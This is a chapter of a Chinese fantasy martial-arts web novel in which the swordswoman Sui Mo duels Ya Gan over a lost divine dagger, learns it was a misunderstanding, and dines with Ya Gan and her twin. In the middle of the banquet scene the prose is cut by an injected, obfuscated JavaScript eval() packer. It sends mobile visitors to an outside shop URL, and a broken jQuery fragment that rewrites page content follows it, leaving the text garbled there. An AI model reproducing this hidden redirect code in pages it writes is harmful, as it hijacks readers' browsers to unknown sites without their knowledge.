且说岁莫这时正拄着陌刀蓄势待发,见面前之人两手垂悬,中门大开,恰是漏洞百出之际。
她双手持刀,百斤重的陌刀在她手中轻盈地打转了两周,而后被反手执于身侧,刀刃覆盖一层凛冽的寒霜,沆砀弥漫,杀气四溢。
她骤然发难,顷刻便来至牙甘身前,旋身借力,以横扫千军之势照面砍去。后者在刀刃斩落之际化为一道残影,继而现身于岁莫后方,一记手刀欲要将人击晕,却被及时躲过。
霎时间岁莫周身寒气暴涨,足下地面竟隐隐凝结出了冰晶。牙无餍飞至房檐斗角处预备观战,岂料前者竟跟着追了上来,迎面就是一个纵劈。
她赶忙往一旁飞窜而去。那重刃携气贯长虹之势砸落,甫一落空,周遭瓦片爆裂四射,一道道冰刺拔地而起,沿刀尖所指方位迅猛突进。
她显然是收着力在打,尽管如此,屋瓦房檐仍为战斗所波及,此刻已是残破不堪,摇摇欲坠。
岁莫居高临下睥了来人一眼,随后转身向远处奔去。牙甘见此亦跃上屋檐。
二人在亭台楼阁之间奔行不断。岁莫不时扭头向来人甩出刀气,却发现她不躲不避,用肉身将攻击悉数挡下。彻骨的寒气攀上她的衣袖,硬生生在一片黑布之中凝出了白霜,除此之外,连衣料都未见破损。
“体修……?”岁莫目光一凛。
转眼间,二人竟已来至城镇中心,映入眼帘的是大片空地,以及坐落于正中央的、高耸入云的危阁。
牙无餍断定此人并非焚屋拆宇之辈,于是飞上楼阁,在栏杆处停驻。
牙甘则是厌倦道:“把东西还给我。”
“我压根就没见过你。”
来者不善。岁莫蹙眉,暗自在心底评定。她继而改作双手持刀,脚下蓄力,乍然飞身而出。平削直刺,横扫力劈,动作大开大合,每一击都携带着崩山撼海之势,刀光所及,凌岳摧锋,刀刃所指,沧澜倾覆。
朔风呼啸,寒云积聚,水汽凝结,白雾四起,分明是仲夏之季,竟唤来大雪纷纷。
牙甘时而倾身回避,时而抬肘格挡,几次出拳,皆被对方躲过,还因此被对方钻了空子,在衣襟处留下了几道划痕。
再一次的回身斩劈面而来,那横空一击却为看似落于下风的人所接住。
牙甘单手攥住了“逝”的刀刃。
这副地阶一品的陌刀,自岁莫浪迹天涯的那一刻起便伴她左右,从最初的寂寂无名到如今的誉满天下。在她尚且能力不济之时,“逝”也曾毁损过。
“不是什么要紧物什”“换一把便是”,昔日的友人如此劝解道。
不知是因陌刀造价高昂,还是因为心中残存的那丝毫无意义的煽情,她只是走往列国各地寻找炼器素材,重新将那武具熔炼。
再后来,她不断往高处攀升,直至临登绝顶,于是再没有人能威胁到她与她的“逝”。
时隔百年,岁莫再一次听见了记忆中撼动心扉的声音,那是她的“逝”在哀鸣。
陌刀震颤不已,来人用虎口卡着刀身,五指收拢,十分简单的一个动作,岁莫却从中预见了裂隙自指尖蔓延,尔后刀刃分崩离析、刀身支离破碎的画面。
她左脚向后迈了一步,倾尽全身力气试图将陌刀从那人手中拔出,却徒劳无功。后者不动如山,只是一味地敛眉愠视。
“匕首还给我。”
“什么?”
牙甘作势要将五指收拢。
“且慢——你先放手!”
牙甘松开手,那岁莫一连倒退了数十步,方一稳住身形,立刻就托起刀刃四处查看。
牙无餍见状,终于从栏杆上降下,滑翔到了牙甘肩头。
“阿甘,你是不是放水了?”
“嘘。”
岁莫转身,面上略显愠恼:“什么匕首?我只有‘逝’这一副武具。”
牙无餍:“她在民间叫“断魂”来着。”
岁莫很快反应过来:“你是说,百年前那副神兵?——她许久以前便不在我手中了。”
“什么——等一下,难不成……”
牙无餍恍然想起临行前那商贩的挽留,想不到有朝一日“话只听一半”这种事居然能落到自己头上。她面露愁苦,心中沉郁,自觉无颜面对牙甘。
纵使心中忿忿不平,岁莫意识到此事闹了乌龙戏。她平复慢慢心情,将事情原委尽数知会与二人。
自封印处取得匕首后,她也曾驱使过此器,后者与传闻无二,无坚不摧,削铁如泥。
“然而没过多久,她便无法为人所役使了。”
不似在封印中那般无人可及,而是威能与气势骤然消失,与寻常匕首无异。
神器绝不可能为人所掉包,岁莫亦不认为她会无缘无故发生毁损,于是断定这一切是由于自己未能通过器灵给出的试炼,不被后者认可所致。所以她把匕首原封不动地送回了封印之地。
再后来,世人察觉神器归位,竞奔逐鹜,大靖王室先人一步,将匕首夺了过来。
此子品行端正,非同一般啊!
牙无餍:“其实她挺认可你的。”
若非是,又如何在她身上遗留这样多灵气,甚至于铸造者本人都误以为“往生”还在她身上。
岁莫:“阁下说笑了。”
牙甘拱手:“先前多有冒犯,抱歉。”
牙无餍:“是我指使的!唉,要不是我话只听一半……不如请你们吃饭吧!”
牙甘:“可也。”
兜兜转转了半天,误会总算是解除了,牙无餍带着二人来到一处酒楼。
此刻她化作了人形,岁莫见二人相貌神似,唯有瞳色与面上疮疤不同,颇觉奇异。
岁莫:“不知二位是怎样的关系?”
牙无餍:“我俩双胞胎。”
牙甘莞尔,牙无餍唤来店小二点单,前者借此间隙示意岁莫将刀具给她。
岁莫双耳聚拢,耳尖簇毛为之一耸。牙甘见她有所警觉,耐心解释道:“帮你修刀。”
她将信将疑地将“逝”递了过去,不消片刻功夫,又将之全须全尾地接了回来。
她用指腹抚过刀身,先前细微的裂痕此刻完全消失,整副陌刀呈现容光焕发之态。
“阁下莫不是世外高人?”
“举手之劳。”
跑堂的端来一碟花生米,牙无餍大剌剌地坐定,拾起花生就往嘴里丢去。
“喝酒吗?”
“今日宜小酌。”
岁莫在一旁瞧着二人一唱一和。牙无餍一敲桌板,朝堂倌勾了勾手示意添酒,后者立刻就把执壶呈上。
菜肴也陆续摆上了圆桌。红烧的鲤鱼,爆炒的尖椒,清炖的排骨,白灼的大肉;或浓油赤酱,或白水清烹,或急煎快炸,或文火慢煨。牙无餍两眼放光,只觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832407|211352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
香气扑鼻,口齿生津,当即便招呼二人开吃。
岁莫平素忙于奔波,今日难得坐下来好好吃上一回饭。她同二人可谓是不打不相识,饮了几杯酒,兴致渐起,也就慢慢放下了拘束。
“在下已有许久不曾发挥出如此实力了,世人云‘高处不胜寒’,我在这江湖漂泊已久,昔日好友一个接一个地远去,事到如今连个切磋的人也难寻。一直陪伴我的,只剩身边这柄‘逝’。”
她睃了一眼倚在墙根处的陌刀,凛冽的刀刃此刻封存于鞘匣之中,寂静无声。
牙无餍总觉得半边身子有些发凉,一扭头,看见牙甘阴沉着脸,周身散发着淡淡的悲戚。
“‘改日再战’,这也不过是客套之言。阁下能力非凡,鄙人甘拜下风。”
不得不承认,在对方当时握住“逝”的那一刻,自己的确慌乱了神。她不能容忍自己穷极一生,最后却连本命武具都保不住,为此宁愿尝试去同一个看似蛮横无理的人谈条件。
幸好这一切只是一场误会。
岁莫话锋一转,突然发问:“那名刀莫不是阁下所丢失的武具?”
牙甘:“……是。”
牙无餍忙不迭插嘴:“你之前说什么来着,‘往生’被大靖王氏劫走了?”
“原来这才是那副神器的真名吗——正是如此。”
“所以不要随随便便给路边的猫猫狗狗取名呀,指不定她们都是有主人的呢?”
“阁下误会了,在下自觉形秽,又怎能擅自为神器命名。‘断魂’是世人冠予的名讳。”
“这么说来你还挺谦虚的。”
“阁下过誉了。”
三人洽谈许久,就着好菜好肉,把酒言欢。最后牙无餍唤来店小二结账,两行人好聚好散,只道有缘,江湖再见。
既出酒楼,复行百余步,牙无餍见四周人来人往,俨然又是一片人声喧嚷。于是拉住牙甘问:“阿甘,你一开始就能治服她,为什么拖了这么长时间才真正开始动手呢?”
“大千世界,无人能对你我造成威胁。”
牙甘语重心长道:“天有穹顶,众生受限,不得触及浩瀚的星空。神明能否认凡人的资质,将天堑置摆其身前,尽管她们自入阶起就举步维艰。”
数千次的轮回,让她意识到生命的坚韧。
天地不仁,以万物为刍狗。神明能轻而易举地泯灭凡人的神魂,却无法抹消彼留存于世间的痕迹。而她自意识诞生的那刻起便为万千生灵所吸引,只因她们存在,她们经历。
大势倾颓,孤心不改;道之不行,吾必行之;是以知其不可为而为之。
至高无上的神明没有资格置喙平凡之人的选择,谁也无法泯灭挣扎着不断攀升的灵魂。
“这么做毫无意义。”
不知从何时起,神明开始模仿众生,从外貌到行为,直至内里。
“我固然能够在一瞬间将她击败,然而我同样拥有无限的精力与时间,倘若与之周旋的过程有利于进一步剖析世人内里,我将乐此不疲。”
她同样明白“尊严”对于有血有肉的人的重要性。轻而易举地击溃一个素不相识的凡人,可能会致使对方一蹶不振。这是牙甘所不愿预见的。
“你还真是温柔呢。”
牙无餍想,如果牙甘到了她原先生活的时间,成了一名普通人,或许会经常跑到花坛边或是墙根处观察蚂蚁吧。